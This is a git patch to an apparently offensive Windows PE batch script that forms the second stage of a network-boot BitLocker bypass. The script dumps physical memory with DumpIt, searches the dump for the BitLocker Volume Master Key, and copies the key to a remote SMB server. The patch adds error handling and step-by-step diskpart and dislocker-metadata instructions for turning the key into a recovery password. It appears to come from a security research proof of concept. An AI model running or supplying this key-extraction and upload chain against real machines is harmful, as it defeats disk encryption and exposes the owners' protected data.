From d2008437370412b99aed12f8325a47c0c4221f0b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marc=20Andr=C3=A9=20Tanner?= <mat@brain-dump.org>
Date: Wed, 12 Mar 2025 18:04:22 +0100
Subject: [PATCH] winpe: improve second stage exploitation script

Abort in case VMK is not found. Include diskpart documentation as wimc
is not available, fix typo and provide more specific example command.
---
 pxe/smb/exploit-winpe2.bat | 25 ++++++++++++++++++-------
 1 file changed, 18 insertions(+), 7 deletions(-)

diff --git a/pxe/smb/exploit-winpe2.bat b/pxe/smb/exploit-winpe2.bat
index ef7b883..972bdc9 100644
--- a/pxe/smb/exploit-winpe2.bat
+++ b/pxe/smb/exploit-winpe2.bat
@@ -37,17 +37,28 @@ DumpIt /TYPE RAW /NOCOMPRESS /QUIET /NOLYTICS /OUTPUT "memdump-%HOSTNAME%.bin"
 echo.
 echo Searching VMK in memory dump
 
-search-vmk.exe "memdump-%HOSTNAME%.bin" "vmk-%HOSTNAME%.dat"
+search-vmk.exe "memdump-%HOSTNAME%.bin" "vmk-%HOSTNAME%.dat" || exit /b %ERRORLEVEL%
 
 echo.
 echo Uploading VMK
 copy "vmk-%HOSTNAME%.dat" "%SERVER%"
 
 echo.
-echo Displaying partition offsets
-
-wmic partition get DeviceID, StartingOffset, Size
-
+echo Get disk index and partiton offset in bytes:
 echo.
-echo Query BitLocker metadata
-echo Usage: dislocker-metadata -K vmk.dat -V \\.\PysicalDrive0 -o $OFFSET
+echo %cd%^> diskpart
+echo diskpart^> list disk
+echo diskpart^> select disk 0
+echo diskpart^> detail disk
+echo diskpart^> list partitions
+echo diskpart^> select partition 3
+echo diskpart^> detail partition
+echo ...
+echo Offset in Bytes: 1234
+echo ...
+echo diskpart^> assign letter=B
+echo diskpart^> exit
+echo.
+echo Get human readable BitLocker recovery password:
+echo.
+echo dislocker-metadata -K vmk-%HOSTNAME%.dat -V \\.\PhysicalDrive0 -o $OFFSET